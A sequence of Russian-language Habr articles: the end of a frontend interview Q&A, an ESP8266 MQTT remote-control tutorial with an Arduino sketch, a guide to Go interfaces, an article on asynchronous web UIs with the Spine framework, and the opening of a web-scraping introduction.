Модная ныне концепция разработки Web приложений. Советую почитать книгу *Clean Architecture: A Craftsman's Guide to Software Structure and Design (Robert C. Martin Series).* По большей части этим вопросом проверяют действительно ли вы участвовали в разработке крупных проектов на Сlean architecture или нет. В целом если в вашем проекте есть папки:
1. entities
2. use\_cases
3. interfaces\_adapters
4. external\_interfaces
И вы понимаете, что в какой папке лежит, то сможете ответить на этот вопрос. Более подробно [тут](https://www.freecodecamp.org/news/a-quick-introduction-to-clean-architecture-990c014448d2), так же можно посмотреть [тут](https://habr.com/ru/post/464185/).
**Вопрос 10:**
Circuit breaker
**Ответ:**
Circuit breaker - это шаблон проектирования, который используют для работы со сбоями в системе. Он работает как прокси-сервис между приложением и удаленным сервисом. Если удаленный сервис начинает возвращать ошибку, то он либо перестеает отправлять на него запросы с нашего приложения, либо отправляет только часть из них. Позволяя сервису восстановиться. После восстановления сервися запросы от нашего приложения снова поступают на удаленный сервис ([ссылка](https://medium.com/@kirill.sereda/%D1%81%D1%82%D1%80%D0%B0%D1%82%D0%B5%D0%B3%D0%B8%D0%B8-%D0%BE%D0%B1%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B8-%D0%BE%D1%88%D0%B8%D0%B1%D0%BE%D0%BA-circuit-breaker-pattern-650232944e37)). У него есть 3 состояния:
* Open
* Closed
* Half-Open
[Тут](https://bool.dev/blog/detail/circuit-breaker-pattern) можно почитать о нем более подробно, с картинками.
**Вопрос 11:**
Webpack
**Ответ:**
Webpack - это сборщик модулей. Он анализирует модули приложения, создает граф зависимостей, затем собирает модули в правильном порядке в один или более бандл (bundle), на который может ссылаться файл "index.html" ([ссылка](https://habr.com/ru/post/514838/)). Так же советую посмотреть [Скринкаст по Webpack](https://learn.javascript.ru/screencast/webpack#webpack-2-simple-1).
**Вопрос 12:**
Babel
**Ответ:**
Утилита, которая преобразует код написанный на ECMAScript 2015+ в обратно совместимую версию JavaScript, которая может выполняться старыми движками JavaScript ([ссылка](https://en.wikipedia.org/wiki/Babel_(transcompiler))).
**Вопрос 13:**
SvelteJS
**Ответ:**
Новый перспективный компилятор с открытм кодом для разработки front end приложений. Он гораздо проще чем Angular, React и VueJS. Почитать про него можно [тут](https://habr.com/ru/post/446026/) или [тут](https://habr.com/ru/post/446026/). Не знаю зачем у меня о нем спросили, возможно, проверяли мой кругозор. Я не писал на SvelteJS, но пишу на Angular, React и VueJS. После этих 3-х монстров хочется попробовать что-то более простое, но пока что на них довольно высокий спрос и приходиться работать с ними.
**Вопрос 14:**
npm ci
**Ответ:**
ci - это Continuous Integration. Аналог npm install, но в отличие от него берет зависимости из package-lock.json. Работает быстрее, но каждый раз удаляет *node\_modules*. Для полной установки продукта по готовому package-lock.json имеет смысл использовать. Подробнее можно прочитать [тут](https://docs.npmjs.com/cli/v8/commands/npm-ci), [тут](https://qastack.ru/programming/52499617/what-is-the-difference-between-npm-install-and-npm-ci) или [тут](https://tproger.ru/news/npm-ci/)
**Вопрос 15:**
Cтрелочные функции и их отличие от обычных функций
**Ответ:**
Стрелочные функции - это функции типа:
```
(arg1, arg2, ...argN) => expression
```
или
```
(arg1, arg2, ...argN) => {
expression;
};
```
Отличия от обычных функций:
1. Не создает собственный контекст исполнения, всегда использует внешний. Значение this является значением окружающего контекста.
2. Оператор *new* не работает со стрелочной функцией
3. Неявный return для варианта: *let func = (arg1, arg2, ...argN) => expression*
4. Ключевое слово *yield* не может быть использовано в теле стрелочной функции
5. Не имеет собственного объекта arguments
**Вопрос 16:**
Continuous Integration
**Ответ:**
> *Непрерывная интеграция (Continuous Integration)* *— практика разработки программного обеспечения, которая заключается в постоянном слиянии рабочих копий в общую основную ветвь разработки и выполнении частых автоматизированных сборок проекта для скорейшего выявления потенциальных дефектов и решения интеграционных проблем (*[*ссылка*](https://ru.wikipedia.org/wiki/%D0%9D%D0%B5%D0%BF%D1%80%D0%B5%D1%80%D1%8B%D0%B2%D0%BD%D0%B0%D1%8F_%D0%B8%D0%BD%D1%82%D0%B5%D0%B3%D1%80%D0%B0%D1%86%D0%B8%D1%8F)*)*
>
>
Заключение
----------
Не факт, что у вас спросят то же самое, но в целом общее представление о том, что спрашивают и как отвечать я описал. Признаюсь, были и совсем неожиданные ситуации. Как-то раз я пришел на собеседование на frontend developer и отвечал исключительно на вопросы по SQL. В другом случае мы общались исключительно по Java. Так же был случай, когда я должен был на собеседовании настроить фреймворк для написания unit тестов. В общем, собеседование - это так весело, иногда руки потом пол дня дрожат. Особенно когда готовишься к одной теме, а спрашивать начинают совсем другую.
**P.S.:** Ответы даны краткие, не развернутые. Для полного понимания принципов работы советую прочитать часть первую ([ссылка](https://habr.com/ru/post/646847/)), а так же источники, которые я указал в данной статье. | https://habr.com/ru/post/651527/ | null | ru | null |
# Esp8266 управление через интернет по протоколу MQTT
Всем привет! В этой статье будет подробно рассказано и показано как буквально за 20 минут свободного времени настроить дистанционное управление модулем esp8266 с помощью приложения на Android по протоколу MQTT.
Идея дистанционного управления и мониторинга всегда будоражила умы увлеченных в электронике и программировании людей. Ведь возможность в любой момент времени получить или отправить нужные данные, не зависимо от своего местоположения, дает широкие возможности. В своих прошлых статьях ( [Статья 1](https://geektimes.ru/post/255546/) и [Статья 2](https://geektimes.ru/post/258504/)) я пытался рассмотреть несколько доступных и относительно простых вариантах реализации дистанционного управления микроконтроллерами через интернет. Однако время и весь мир не стоит на месте – прогресс продолжает свое неумолимое движение вперед. За это небольшое время приобрел широкую популярность модуль esp8266 который благодаря низкой цене и встроенному wi-fi стал одним из основных составляющих «Умного дома».
На данный момент MQTT является передовым и наиболее популярным протоколом передачи данных между отдельными устройствами в рамках систем «Умного дома». Он обладает рядом преимуществ по отношению к другим протоколам:
— низкое потребление трафика;
— соединение между клиентом и сервером всегда открыто;
— не нагружает интернет канал;
— отсутствие задержек в передаче данных;
— удобная система подписок на топики;
Всё это дает возможность мониторинга и управления в режиме реального времени. Однако MQTT требует наличие своего собственного сервера, который выполняет роль посредника между клиентами сети. Тут есть два выхода либо создавать свой сервер либо использовать сторонние сервисы.
Описываемая система управления состоит из двух основных частей: сервера MQTT (он как правило один) и клиентов, которых может быть довольно много. В нашем случае в качестве клиентов будут выступать приложение на Android и сам модуль esp8266.
Алгоритм работы системы следующий. Клиенты подключаются к серверу и сразу после подключения каждый из них осуществляет подписку на и интересующие его топики. Всё общение между клиентами проходит транзитом через сервер, который перенаправляет данные другим клиентам с учетом их подписок.
**MQTT сервер.**
В нашем случае мы будем использовать крайне удобный сервис [www.cloudmqtt.com](https://www.cloudmqtt.com/) у которого есть бесплатный тарифный план (Cute Cat), который полностью покроет потребности для реализации небольшой собственной системы «умного дома».
Пройдём регистрацию на сайте и получаем необходимые данные для доступа к серверу. При настройке клиентов необходимо использовать обычный Порт ( без SSL и TLS).
**Приложение на Android.**
Наше приложение будет выступать в качестве пульта управления для микроконтроллера, а так же будет принимать и отображать всю получаемую информацию от esp8266.
Приложение называется [IoT MQTT Dashboard](https://play.google.com/store/apps/details?id=com.thn.iotmqttdashboard&hl=ru) и представляет собой готовый mqtt клиент с небольшим количеством очень удобных виджетов. Более подробно о работе с приложением можно посмотреть на видео.
**Esp8266.**
Модуль прошивается в среде программирования Arduino, однако хочу заметить что у модуля проблемы с прошивкой в последних версиях Arduino, поэтому рекомендую использовать версию 1.6.4.
Для примера к esp8266 подключены светодиод (5 пин) и датчик температуры ds18b20 (2 пин).
Так как для управления светодиода необходимо получать данные, то esp после подключения должно оформить подписку на соответствующий топик «test/led» иначе все отправленные данные пройдут мимо нашего микроконтроллера.
Для отправки данных температуры подписка не нужно, но при передаче значений температуры необходимо указывать топик в который эти данные пойдут.
Ниже приведен скетч с подробными комментариями.
**Скетч Esp8266\_mqtt.ino**`// Светодиод подлкючен к 5 пину
// Датчик температуры ds18b20 к 2 пину
#include
#include
#include
#include
#define ONE\_WIRE\_BUS 2
OneWire oneWire(ONE\_WIRE\_BUS);
DallasTemperature sensors(&oneWire);
const char \*ssid = "AIRPORT"; // Имя вайфай точки доступа
const char \*pass = "PASSWORD"; // Пароль от точки доступа
const char \*mqtt\_server = "server"; // Имя сервера MQTT
const int mqtt\_port = 11140; // Порт для подключения к серверу MQTT
const char \*mqtt\_user = "Login"; // Логи от сервер
const char \*mqtt\_pass = "Pass"; // Пароль от сервера
#define BUFFER\_SIZE 100
bool LedState = false;
int tm=300;
float temp=0;
// Функция получения данных от сервера
void callback(const MQTT::Publish& pub)
{
Serial.print(pub.topic()); // выводим в сериал порт название топика
Serial.print(" => ");
Serial.print(pub.payload\_string()); // выводим в сериал порт значение полученных данных
String payload = pub.payload\_string();
if(String(pub.topic()) == "test/led") // проверяем из нужного ли нам топика пришли данные
{
int stled = payload.toInt(); // преобразуем полученные данные в тип integer
digitalWrite(5,stled); // включаем или выключаем светодиод в зависимоти от полученных значений данных
}
}
WiFiClient wclient;
PubSubClient client(wclient, mqtt\_server, mqtt\_port);
void setup() {
sensors.begin();
Serial.begin(115200);
delay(10);
Serial.println();
Serial.println();
pinMode(5, OUTPUT);
}
void loop() {
// подключаемся к wi-fi
if (WiFi.status() != WL\_CONNECTED) {
Serial.print("Connecting to ");
Serial.print(ssid);
Serial.println("...");
WiFi.begin(ssid, pass);
if (WiFi.waitForConnectResult() != WL\_CONNECTED)
return;
Serial.println("WiFi connected");
}
// подключаемся к MQTT серверу
if (WiFi.status() == WL\_CONNECTED) {
if (!client.connected()) {
Serial.println("Connecting to MQTT server");
if (client.connect(MQTT::Connect("arduinoClient2")
.set\_auth(mqtt\_user, mqtt\_pass))) {
Serial.println("Connected to MQTT server");
client.set\_callback(callback);
client.subscribe("test/led"); // подписывааемся по топик с данными для светодиода
} else {
Serial.println("Could not connect to MQTT server");
}
}
if (client.connected()){
client.loop();
TempSend();
}
}
} // конец основного цикла
// Функция отправки показаний с термодатчика
void TempSend(){
if (tm==0)
{
sensors.requestTemperatures(); // от датчика получаем значение температуры
float temp = sensors.getTempCByIndex(0);
client.publish("test/temp",String(temp)); // отправляем в топик для термодатчика значение температуры
Serial.println(temp);
tm = 300; // пауза меду отправками значений температуры коло 3 секунд
}
tm--;
delay(10);
}`
В результате мы получаем удобный инструмент для дистанционного управления и мониторинга данных, который довольно прост в освоении и будет по силу даже начинающим.
**Видео с демонстрацией работы системы управления**
**Подробная видеоинструкция по настройке системы**
**Один из вариантов применения управления esp8266 через MQTT протокол**
**Управление светодиодной лентой через интернет**
Если у вас возникли вопросы по данному материалу, то рекомендую посмотреть вторую часть видео, где материал изложен более наглядно.
В архиве находятся скетч и все необходимые библиотеки для прошивки микроконтроллера скетчем из примера.
Обращаю ваше внимание, что библиотека ESP8266WiFi.h не входит в данный архив, она устанавливается через Boards manager в среде Arduino.
[**АРХИВ**](https://cloud.mail.ru/public/44nnTMk9dBFu/Files.zip)
MQTT сервер — [www.cloudmqtt.com](https://www.cloudmqtt.com/)
Ссылка на приложение IoT MQTT Dashboard — [play.google.com/store/apps/details?id=com.thn.iotmqttdashboard&hl=ru](https://play.google.com/store/apps/details?id=com.thn.iotmqttdashboard&hl=ru)
Всем спасибо за внимание. | https://habr.com/ru/post/393277/ | null | ru | null |
# Краш-курс по интерфейсам в Go
Интерфейсы в Go представляют собой одну из отличительных особенностей языка, формирующих способ решения задач. При схожести с интерфейсами в других языках, интерфейсы Go всё же имеют важные отличия и это поначалу приводит к избыточному переиспользованию интерфейсов и путанице в том, как и когда их использовать. Это нормально, но давайте попробуем разобраться, в чем же особенность интерфейсов в Go, как они устроены, почему так важны и что значит ортогональность интерфейсных типов и структурных типов в Go.
В этой статье вы узнаете:
* в чем отличие от интерфейсов в Java
* важные и неочевидные последствия этих отличий
* как устроены интерфейсы под капотом
* вспомним про пустой интерфейс (interface{})
* затронем сакральную тему про дженерики
* разберемся, кто и зачем должен создавать интерфейс
* и постараемся научиться не абьюзить интерфейсы и начать жить
*([artwork by Svitlana Agudova](http://agudova.com/portfolio/for-golang-community/))*
Ортогональность
===============
Итак, начнем с первого важного момента, который достаточно легок в понимании — **интерфейсы определяют поведение**. В этом плане, интерфейс в Go практически не отличается от интерфейсов в Java.
К примеру, вот интерфейс и его реализация в Java:
```
public interface Speakable {
public String greeting = "Hello";
public void sayHello();
}
public class Human implements Speakable {
public void sayHello() {
System.out.println(Speakable.greeting);
}
}
Speakable speaker = new Human();
speaker.sayHello();
```
Пример на Go:
```
type Speaker interface {
SayHello()
}
type Human struct {
Greeting string
}
func (h Human) SayHello() {
fmt.Println(h.Greeting)
}
...
var s Speaker
s = Human{Greeting: "Hello"}
s.SayHello()
```
[<http://play.golang.org/p/yqvDfgnZ78>](http://play.golang.org/p/yqvDfgnZ78)
На первый взгляд, отличия чисто косметические:
* в Java используются ключевые слова public/protected/etc, в Go — case первой буквы имени методы определяет видимость
* в Java чаще называют интерфейсы с постфиксом -able, в Go же принято использовать постфикс -er (Sender, Reader, Closer, etc)
* в Java используются классы для имплементации интерфейса, в Go — структуры с методами.
* в Java имплементация интерфейса указывается явно(*implements*), в Go — неявно([duck typing](https://en.wikipedia.org/wiki/Duck_typing))
* в Java и интерфейсы, и классы могут содержать и данные, и методы, в Go — интерфейс не может содержать данные, только методы.
Но некоторые из этих отличий оказываются ключевыми, в частности последние два из них. Остановимся на них детальнее:
### Неявная имплементация
> Если это выглядит как утка, плавает как утка и крякает как утка, то это, вероятно, утка и есть.
В Go структура с методами будет удовлетворять интерфейсу просто самим фактом объявления метода. Это кажется не особо важным на маленьких программах или искусственных примерах, но **оказывается ключевым в больших проектах**, где приходится думать дважды перед тем как изменить какой-то класс, многократно унаследованный другими классами.
Возможность легко и просто неявно реализовать различные интерфейсы позволяет программам безболезненно расти, без необходимости продумывать все возможные интерфейсы наперёд и не утопать во множественном наследовании. Это к слову о том, что Go задумывался для облегчения жизни в больших проектах.
Важное и не сразу очевидное различие этого заключается в том, как, в итоге, вы строите архитектуру вашей программы — в Java или C++ вы, скорее всего, начинаете с объявления абстрактных классов и интерфейсов, и далее переходите к конкретным реализациям. В Go же наоборот — вы пишете сначала конкретный тип, определяете данные и методы, **и только в том случае, если действительно появляется необходимость абстрагировать поведение** — создаете отдельный интерфейс. Опять же, масштаб этого различия более ощутим на больших проектах.
### Данные vs поведение
Если в Java и классы, и интерфейсы описывают как данные, так и поведение, то в Go эти понятия кардинально разграничены.
**Структура хранит данные, но не поведение. Интерфейс хранит поведение, но не данные.**
Если вам хочется добавить в интерфейс переменную вроде `Hello string` — знайте, вы что-то делаете не так. Если вы хотите встроить интерфейс в структуру — вы путаете поведение и данные. В мире Java это нормально, но в Go это важное разделение, поскольку формирует ясность абстракций.
В примере выше, Speaker описывает поведение, но никак не говорит, что именно должен говорить тот, кто реализует этот интерфейс. Опять же, Speaker как **интерфейс в Go коде появился из практической необходимости быть реализованным каким-то другим типом**, а не как "базовый класс", к которому написали конкретную реализацию Human.
Важно понимать, что как только вы начнёте четко разделять абстракции "поведения" и "данных" — вы начнёте более четко понимать назначение и правильный способ использования интерфейсов в Go. **Human и Speaker — ортогональны**. Human может с легкостью удовлетворять ещё 10-ти интерфейсам (Walker, Listener, Player, Programmer, etc), а Speaker может быть удовлетворён десятками типов, даже из других пакаджей (Robot, Animal, Computer, etc). И всё это, с минимальными накладными синтаксическими расходами, что, опять же, важно в больших кодовых базах.
Устройство интерфейсов
======================
Если вы не сильно поняли, как Human одновременно может быть Speaker-ом и ещё десятком интерфейсов, и при этом быть ортогональными, давайте копнём глубже и посмотрим, как устроены интерфейсы под капотом. В Go 1.5 (который сам написан на Go) интерфейсный тип выглядит вот так:
**[src/runtime/runtime2.go](https://golang.org/src/runtime/runtime2.go?s=2650:2704#L80)**
```
type iface struct {
tab *itab
data unsafe.Pointer
}
```
Где tab — это указатель на *Interface Table* или *itable* — структуру, которая хранит некоторые метаданные о типе и список методов, используемых для удовлетворения интерфейса.
data — указывает на фактическую переменную с конкретным (статическим) типом,
Для наглядности, чуть модифицируем наш код следующим образом:
```
h := Human{Greeting: "Hello"}
s := Speaker(h)
s.SayHello()
```
[<http://play.golang.org/p/AB0ExdGN0W>](http://play.golang.org/p/AB0ExdGN0W)
На рисунке видно, что **s** состоит из двух поинтеров, первый указывающий на itable для конкретной пары (статический тип Human, интерфейс Speaker), а другой на копию оригинального значения Human.
```
h := Human{Greeting: "Hello"}
s := Speaker(h)
h.Greeting = "Meow"
s.SayHello() // выведет "hello"
```
### itable
Теперь несколько слов про itable. Поскольку эта таблица будет уникальна для каждой пары интерфейс-статический тип, то просчитывать её на этапе компиляции (early binding) будет нерационально и неэффективно.
Вместо этого, компилятор генерирует метаданные для каждого статического типа, в которых, помимо прочего, хранится список методов, реализованных для данного типа. Аналогично генерируются метаданные со списком методов для каждого интерфейса. Теперь, во время исполнения программы, runtime Go может вычислить itable на лету (late binding) для каждой конкретной пары. Этот itable кешируется, поэтому просчёт происходит только один раз.
Зная это, становится очевидно, почему Go ловит несоответствия типов на этапе компиляции, но кастинг к интерфейсу — во время исполнения. Не забывайте, что именно для того, чтобы безопасно ловить ошибки приведения к интерфейсным типам, существует конструкция comma-ok — `if s, ok := h.(Speaker); !ok { ... }`.
```
var s Speaker = string("test") // compile-time error
var s Speaker = io.Reader // compile time error
var h string = Human{} // compile time error
var s interface{}; h = s.(Human) // runtime error
```
### Пустой interface{}
Теперь вспомним про так называемый пустой интерфейс (empty interface) — `interface{}`, которому удовлетворяет вообще любой тип. Поскольку у пустого интерфейса нет никаких методов, то и itable для него просчитывать и хранить не нужно — достаточно только метаинформации о статическом типе.
Поэтому в памяти пустой интерфейс выглядит примерно так:
Теперь, каждый раз, когда вы захотите воспользоваться пустым интерфейсом — помните. что он ничего не означает. Никакой абстракции. Это невидимый плащ над вашим конкретным типом, который прячет от вас конкретику, и не даёт никакого понимания о поведении. Именно поэтому использовать пустые интерфейсы нужно в самых крайних случаях.
Интерфейсы и дженерики
======================
Как известно, в Go дженерные контейнеры ограничены только теми, которые есть в языке — слайсы, мапы. Для написания же дженерных алгоритмов в Go могут использоваться интерфейсы. Классическим примером тут может служить вот такая [реализация Binary Tree](https://godoc.org/github.com/google/btree#Item).
```
type Item interface {
// Less tests whether the current item is less than the given argument.
//
// This must provide a strict weak ordering.
// If !a.Less(b) && !b.Less(a), we treat this to mean a == b (i.e. we can only
// hold one of either a or b in the tree).
Less(than Item) bool
}
```
Тип btree.Item — это интерфейс, в котором определён единственный метод Less, позволяющий сравнивать значения. Под капотом алгоритма используется слайс из Item-ов, и алгоритму глубоко всё равно, какой статический тип там находится — единственное, что ему нужно, это уметь сравнивать значения, и это нам как раз и даёт метод Less().
```
type MyInt int
func (m MyInt) Less(than MyInt) bool {
return m < than
}
b := btree.New(10)
b.ReplaceOrInsert(MyInt(5))
```
Похожий подход можно увидеть и в стандартной библиотеке в пакете [sort](https://golang.org/pkg/sort/) — любой тип, который удовлетворяет интерфейсу sort.Interface, может передаваться параметром в функцию sort.Sort, которая его отсортирует:
```
type Interface interface {
// Len is the number of elements in the collection.
Len() int
// Less reports whether the element with
// index i should sort before the element with index j.
Less(i, j int) bool
// Swap swaps the elements with indexes i and j.
Swap(i, j int)
}
```
Например:
```
type Person struct {
Name string
Age int
}
// ByAge implements sort.Interface for []Person based on
// the Age field.
type ByAge []Person
func (a ByAge) Len() int { return len(a) }
func (a ByAge) Swap(i, j int) { a[i], a[j] = a[j], a[i] }
func (a ByAge) Less(i, j int) bool { return a[i].Age < a[j].Age }
...
people := []Person{
{"Bob", 31},
{"John", 42},
{"Michael", 17},
{"Jenny", 26},
}
sort.Sort(ByAge(people))
```
Как перестать абьюзить интерфейсы и начать жить
===============================================
Многие новички в Go, особенно перешедшие с языков с динамической типизацией, видят в интерфейсных типах способ не работать с конкретными типами. "Заверну-ка я все в interface{}" — думает разработчик, и загрязняет свою программу интерфейсами, чаще всего пустыми.
Но золотое правило тут звучит так — работайте всегда с конкретными типами, и используйте интерфейс только там где это необходимо, а пустой интерфейс — вообще в самых крайних случаях, когда иначе никак.
К примеру, пишете вы панель мониторинга, на которой выводите какие-то данные, и данные эти из одного источника приходят в виде float64 значений, а из другого в виде строк ("failed", "success" и т.п.). Как вы реализуете функцию, которая получает значения по каналу и выводит их на экран?
Большинство новичков скажут — легко, сделаем канал пустых интерфейсов (`chan interface{}`) и будем передавать по нему, а далее делать каст к типу:
```
func Display(ch chan interface{}) {
for v := range ch {
switch x := v.(type) {
case float64:
RenderFloat64(x)
case string:
RenderString(x)
}
}
}
```
И, хотя такой код тоже имеет право на существование, мы можем сделать это более красиво. Давайте подумаем, что общего в нашем случае у float64 и string? То что они оба должны быть отрендерены — это уже кандидат на создание интерфейса с методом Render. Попробуем:
```
type Renderer interface {
Render()
}
```
Далее, так как мы не можем навешивать методы на стандартные типы (это уже будет другой тип), то создадим свои MyFloat и MyString:
```
type (
MyFloat float64
MyString string
)
```
И реализуем методы Render для каждого, автоматически удовлетворяя интерфейсу Renderer:
```
func (f MyFloat) Render() { ... }
func (s MyString) Render() { ... }
```
И теперь наша функция `Display` будет иметь следующий вид:
```
func Display(ch chan Renderer) {
for v := range ch {
v.Render()
}
}
```
Гораздо красивее и лаконично, не так ли? Теперь, если у нас добавится ещё один тип, который нужно уметь рендерить в Display — мы просто допишем ему метод Render и ничего больше менять не придется.
И, что важно, этот код отображает реальное положение вещей — объединяя типы под зонтом интерфейса по их общему поведению. Это поведение ортогонально самим данным, и теперь это отражено в коде.
Размеры интерфейсов
===================
В [Go Proverbs](https://habrahabr.ru/post/272383/) есть такой постулат — *"Чем больше интерфейс, тем слабее абстракция"*. В примере выше, маленький интерфейс всего с одним методом помог очень четко описать абстракцию "значения, которое нужно рендерить". Если бы мы создали интерфейс с кучей методов, специфичных для, скажем, string — мы не смогли бы его уже использовать для float64, и пришлось бы придумывать что-то новое.
В Go большинство интерфейсов содержат 1-2 метода, не больше. Но это, конечно, не запрет — если вам совершенно точно нужен интерфейс с сотней методов (например, для моков каких-нибудь) — это тоже ок.
Кто и когда должен создавать интерфейс?
=======================================
У меня была интересная дискуссия, в ходе которой звучало следующее заявление — *"каждая библиотека в Go должна экспортировать интерфейс"*. Мол, если я захочу замокать (mock) функционал библиотеки, то мне достаточно будет просто реализовать этот интерфейс в своей заглушке и тестировать против него.
Это не так. Каждая библиотека не должна экспортировать интерфейс, и общее правило для определения того, кто должен создавать интерфейс можно описать так:
**Интерфейс создается потребителем (consumer), а не продюсером (producer).**
Если ваша библиотека реализует StaticType1, нет никакой нужны придумывать для неё интерфейс. Если же вы, как потребитель библиотеки, хотите абстрагировать поведение типа, замокать его и создать StaticType2, который в вашем коде должен быть взаимозаменяем со StaticType1 — вы у себя и имплементируйте Interface, и сами его и используйте. Это ваша задача — вы её и решаете средствами языка.
В уже упомянутой выше библиотеке sort, интерфейс sort.Interface нужен для работы функции sort.Sort — тоесть сама библиотека и является его потребителем.
Резюме
======
При всей своей простоте, система типов в Go всё же создает некоторые сложности при переходе с других языков. Кто-то пытается втиснуть её в SOLID принцип, кто-то пытается строить аналогии с классами, кто-то считает конкретные типы злом, а дженерные — добром, и это создаёт определенные сложности у новичков. Но это нормально, через это проходят почти все, и я надеюсь, что эта статья немного прояснила суть, цель и назначение интерфейсов в Go.
Резюмируя, три тезиса:
* интерфейсы определяют поведение, статические типы — данные
* чем больше интерфейс, тем слабее абстракция
* интерфейс, как правило, создается потребителем.
Ссылки
======
* [Effective Go — Interfaces](https://golang.org/doc/effective_go.html#interfaces_and_types)
* [Go Data Structures: Interfaces (2009)](http://research.swtch.com/interfaces)
* [Interface types in Go](https://medium.com/@rakyll/interface-pollution-in-go-7d58bccec275#.l801rscyo) | https://habr.com/ru/post/276981/ | null | ru | null |
# Асинхронный UI: будущее веб-интерфейсов
В то время как Ajax стал мейнстримом, пользовательские интерфейсы по-прежнему не могут похвастаться мгновенной отзывчивостью к действиям пользователя. Причина в том, что многие разработчики привыкли мыслить в терминологии «запрос/ответ» и думают, что UI должен работать параллельно с фронтэндом, дожидаясь ответа от сервера на каждый запрос. Но почему бы не обновлять интерфейс раньше, чем пришёл ответ?
Проблема довольно острая, потому что быстродействие является критически важной характеристикой UI. Например, по оценке Amazon, задержка загрузки страницы всего лишь в 0,1 секунды приводит к снижению оборота магазина на 1%. По оценке Google, задержка в 0,5 секунды уменьшает количество поисковых запросов на 20%.
Ruby/JavaScript-разработчик Алекс Маккоу (Alex MacCaw) из компании Twitter [предлагает](http://alexmaccaw.co.uk/posts/async_ui) логичное решение проблемы: распространить принципы Ajax не только на фронтэнд, но и на пользовательский интерфейс. Он разработал соответствующий фремйворк для того, что называется AUI (асинхронный интерфейс пользователя).
По мнению Маккоу, интерфейс вовсе не обязательно должен дожидаться ответа сервера, потому что это приводит к совершенно ненужным задержкам. Например, чего ожидает интерфейс на этом скриншоте, зачем он блокирует действия пользователя?
Ведь письмо может быть спокойно отправлено в фоновом режиме, и пользователю необязательно дожидаться сообщения об успешной отправке. Конечно, за исключением тех редчайших случаев, когда вы отправляете *действительно важное* письмо и хотите точно знать, что оно ушло к адресату. Но на самом деле это иллюзия надёжности, потому что сервер отправителя никак не может гарантировать, что адресат действительно получит это письмо.
Так или иначе, пример с задержкой интерфейса в Gmail относится к сотням и тысячам других веб-приложений, в которых пользовательский интерфейс ожидает ответа от сервера, прежде чем разрешить выполнение каких-либо действий.
Алекс Маккоу разработал JavaScript-фреймворк [Spine](http://spinejs.com/). В нём реализован концептуально новый подход, в котором UI работает независимо от серверной части приложения, то есть асинхронно.
В результате можно существенно увеличить быстродействие UI. Алекс приводит пример простенького [веб-приложения](http://spine-rails3.herokuapp.com/), в котором вы можете оценить скорость работы Spine (бэкенд на Ruby). Обратите внимания, что все действия осуществляются мгновенно, в то время как вызовы Ajax REST отправляются в фоновом режиме.
Для реализации асинхронного UI нужно соблюсти три основных принципа:
* Перенос состояния и рендеринга на клиентскую сторону
* Интеллектуальная предзагрузка данных
* Асинхронная коммуникация с сервером
По первым двум пунктам Алекс Маккоу отсылает всех к своей книжке [Javascript Web Applications](http://oreilly.com/catalog/0636920018421), а по третьему пункту объясняет более подробно на следующем примере. Предположим, пользователь хочет изменить название страницы, работая с CMS. При работе в асинхронном UI он может сделать это мгновенно и продолжить работу с приложением, не ожидая ответа от сервера. В терминологии Spine мы имеем дело с [моделью](http://spinejs.com/docs/models) под названием `Page`. При изменении названия модели в контроллере происходит следующее:
```
page = Page.find(1)
page.name = "Hello World"
page.save()
```
Как только происходит вызов `save()`, Spine осуществляет следующие действия:
* Проверка обратных вызовов и сохранение изменений в памяти
* Нотификация об изменении (change event) и обновление пользовательского интерфейса
* Отправка запроса Ajax PUT на сервер с сообщением об изменении
Обратите внимание, что запрос Ajax отправляется на сервер *после* обновления пользовательского интерфейса.
Поскольку Алекс Маккоу давно и долго работает с подобными технологиями, он отработал различные синхронизации с сервером, дабы избежать ошибок. Например, он реализовал валидацию данных на стороне клиента. Конечно, не всегда такое возможно (например, проверка на уникальность атрибута требует доступа к базе данных). Здесь нет простого решения, так что дискуссия продолжается. С ошибками сети бороться проще: чтобы избежать закрытия браузера до отправки запроса на сервер, достаточно следить за появлением события `window.onbeforeunload` и уведомлять пользователя, если остался неотправленный запрос.
```
window.onbeforeunload = ->
if Spine.Ajax.pending
'''Data is still being sent to the server;
you may lose unsaved changes if you close the page.'''
```
Аналогично, если ошибку возвращает сервер, это можно переложить на пользователя. Такие ошибки возникают относительно редко, так что не стоит особенно на них зацикливаться. Достаточно оповестить пользователя, запротоколировать событие в логе и синхронизироваться заново.
Запросы на сервер отправляются в фоновом режиме строго по очереди, чтобы избежать каких-либо ошибок (когда запрос на обновление данных поступает раньше, чем запрос на создание нового элемента).
Ещё один приём, который предлагает Алекс Маккоу по примеру [Backbone](http://documentcloud.github.com/backbone) — генерация временных CID на стороне клиента, которые являются заменой уникальных ID, генерируемых на стороне сервера. Такой подход позволяет избавить от задержек и сохранить мгновенный отклик для любых JavaScript-функций, которые нуждаются в генерации ID.
Для разных типов идентификаторов в Backbone используются разные API.
```
Users.getByCid(internalID)
Users.get(serverID)
```
Чтобы избавиться от такой «двуличности», в Spine применяется немного другой подход. Здесь временные идентификаторы (псевдо GUID) используется до тех пор, пока не поступит ответ от сервера с настоящим ID, а после этого Spine переключается на него, но оба идентификатора остаются доступными через единый API.
Совершенно понятно, что в некоторых случаях использование AUI неуместно. Например, в финансовых приложениях или интернет-банкинге интерфейс должен совершенно точно отображать движение финансовых средств, получая ответ от сервера. Но в большинстве случаев AUI имеет явные преимущества перед традиционными интерфейсами Ajax-приложений. | https://habr.com/ru/post/132834/ | null | ru | null |
# Web Scraping
Введение
--------
Всем привет. Недавно у меня возникла идея о том, чтобы поделиться с интересующимся кругом лиц о том как пишутся скраперы. Так как большинству аудитории знаком Python все дальнейшие примеры будут написаны на нём.
Данная часть рассчитана для того, чтобы познакомить тех, кто ещё не пробовал себя в данной сфере. Если вы уже продвинутый читатель, то можете смело листать дальше, но для сохранения закономерности я бы посоветовал уделить немного внимания данной статье.
```
print('Part 1. Get started')
```
Инструменты
-----------
* Язык программирования и соответствующие библиотеки
Конечно, без него никуда. В нашем случае будет использован Python. Данный язык является довольно сильным инструментом для написания скраперов, если уметь правильно пользоваться им и его библиотеками: requests, bs4, json, lxml, re.
* Инструменты разработчика
Каждый современный браузер имеет данную утилиту. Лично мне удобно пользоваться Google Chrome или Firefox. Если вы пользуетесь другим браузерами, рекомендую попробовать один из вышеперечисленных. Здесь нам понадобятся практически все инструменты: elements, console, network, application, debuger.
* Современная IDE
Здесь выбор остаётся за вами, единственное, что хотелось бы посоветовать — наличие компилятора, debuger'a и статического анализатора в вашей среде разработке. Я отдаю своё предпочтение PyCharm от JetBrains.
Немного о формате
-----------------
